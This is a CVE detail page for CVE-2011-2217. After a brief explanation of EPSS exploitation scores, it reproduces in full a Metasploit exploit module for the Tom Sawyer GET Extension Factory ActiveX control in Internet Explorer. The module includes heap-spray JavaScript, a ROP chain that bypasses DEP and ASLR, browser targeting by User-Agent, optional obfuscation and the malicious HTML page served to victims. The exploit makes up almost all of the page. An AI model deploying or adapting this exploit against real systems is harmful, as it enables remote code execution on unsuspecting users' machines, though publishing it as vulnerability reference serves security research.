CVE-2011-2217 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :os_name => OperatingSystems::WINDOWS, :ua_name => HttpClients::IE, :ua_minver => "6.0", :ua_maxver => "8.0", :javascript => true, :rank => NormalRanking, :classid => "{658ED6E7-0DA1-4ADD-B2FB-095F08091118}" }) def initialize(info={}) super(update_info(info, 'Name' => "Tom Sawyer Software GET Extension Factory Remote Code Execution", 'Description' => %q{ This module exploits a remote code execution vulnerability in the tsgetx71ex553.dll ActiveX control installed with Tom Sawyer GET Extension Factory due to an incorrect initialization under Internet Explorer. While the Tom Sawyer GET Extension Factory is installed with some versions of VMware Infrastructure Client, this module has been tested only with the versions installed with Embarcadero Technologies ER/Studio XE2 / Embarcadero Studio Portal 1.6. The ActiveX control tested is tsgetx71ex553.dll, version 5.5.3.238. This module achieves DEP and ASLR bypass using the well known msvcr71.dll rop chain. The dll is installed by default with the Embarcadero software, and loaded by the targeted ActiveX. }, 'License' => MSF_LICENSE, 'Author' => [ 'Elazar Broad', # Vulnerability discovery 'rgod', # PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2011-2217' ], [ 'OSVDB', '73211' ], [ 'BID', '48099' ], [ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=911' ] ], 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00", 'DisableNops' => true }, 'DefaultOptions' => { 'ExitFunction' => "process", 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', 'Targets' => [ # Embarcadero Technologies ER/Studio XE2 # tsgetx71ex553.dll 5.5.3.238 [ 'Automatic', {} ], [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x00' } ], [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x800 - code.length' } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => true, 'Offset' => '0x0', 'RopChainOffset' => '0x73e' } ], [ 'IE 8 on Windows 7 SP1', { 'Rop' => true, 'Offset' => '0x0', 'RopChainOffset' => '0x73e' } ] ], 'Privileged' => false, 'DisclosureDate' => "May 03 2011", 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation']) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/ return targets[1] #IE 6 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/ return targets[2] #IE 7 on Windows XP SP3 elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/ return targets[3] #IE 8 on Windows XP SP3 elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8/ return targets[4] #IE 8 on Windows 7 SP1 else return nil end end def junk(n=4) return rand_text_alpha(n).unpack("V").first end def nop return make_nops(4).unpack("V").first end def get_rop_chain(t) adjust = [ junk, # heap sprayed to 342d1ea0 0x7c1ce310, # stackpivot # push ecx # pop esp # pop edi # pop esi # retn 18 # mfc71.DLL 0x7c347f98, # RETN (ROP NOP) # msvcr71.dll junk, junk, junk, junk, junk, junk ].pack("V*") # chain generated by mona.py - See corelan.be rop = [ 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) 0x7c347f98, # RETN (ROP NOP) 0x7c3415a2, # JMP [EAX] 0xffffffff, 0x7c376402, # skip 4 bytes 0x7c351e05, # NEG EAX # RETN 0x7c345255, # INC EBX # FPATAN # RETN 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN 0x7c344f87, # POP EDX # RETN 0xffffffc0, # Value to negate, will become 0x00000040 0x7c351eb1, # NEG EDX # RETN 0x7c34d201, # POP ECX # RETN 0x7c38b001, # &Writable location 0x7c347f97, # POP EAX # RETN 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN 0x7c345c30, # ptr to 'push esp # ret ' ].pack("V*") code = adjust code << rop return code end def on_request_uri(cli, request) agent = request.headers['User-Agent'] my_target = get_target(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported: #{agent.to_s}") send_not_found(cli) return end print_status("Target set: #{my_target.name}") p = payload.encoded js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) js_90_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) if my_target['Rop'].nil? js_shellcode = "var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);" else js_rop = Rex::Text.to_unescape(get_rop_chain(my_target), Rex::Arch.endian(my_target.arch)) js_shellcode = <<-JS_ROP var rop_chain = unescape("#{js_rop}"); var nops_padding = nops.substring(0, 0x73e-code.length-offset.length); var shellcode = code + nops_padding + rop_chain + nops_90.substring(0, 0x800-code.length-nops_padding.length-rop_chain.length); JS_ROP js_shellcode = js_shellcode.gsub(/^\t\t\t/, '') end js = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); var nops_90 = unescape("#{js_90_nops}"); while (nops.length < 0x80000) nops += nops; while (nops_90.length < 0x80000) nops_90 += nops_90; var offset = nops.substring(0, #{my_target['Offset']}); #{js_shellcode} while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x685; z++) { heap_obj.alloc(block); } JS js = heaplib(js, {:noobfu => true}) #obfuscate on demand if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end html = <<-EOS <html> <head> <script> #{js} </script> </head> <body> <object classid="clsid:658ED6E7-0DA1-4ADD-B2FB-095F08091118"> </object> </body> </html> EOS html = html.gsub(/^\t\t/, '') print_status("Sending html") send_response(cli, html, {'Content-Type'=>'text/html'}) end end =begin (b44.b48): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=0013e27c ecx=342d1ea0 edx=00000000 esi=75c63d38 edi=80004002 eip=28d2954d esp=0013e230 ebp=0013e2d4 iopl=0 nv up ei pl nz ac pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216 tsgetx71ex553!Ordinal931+0x2dd: 28d2954d ff5104 call dword ptr [ecx+4] ds:0023:342d1ea4=???????? =end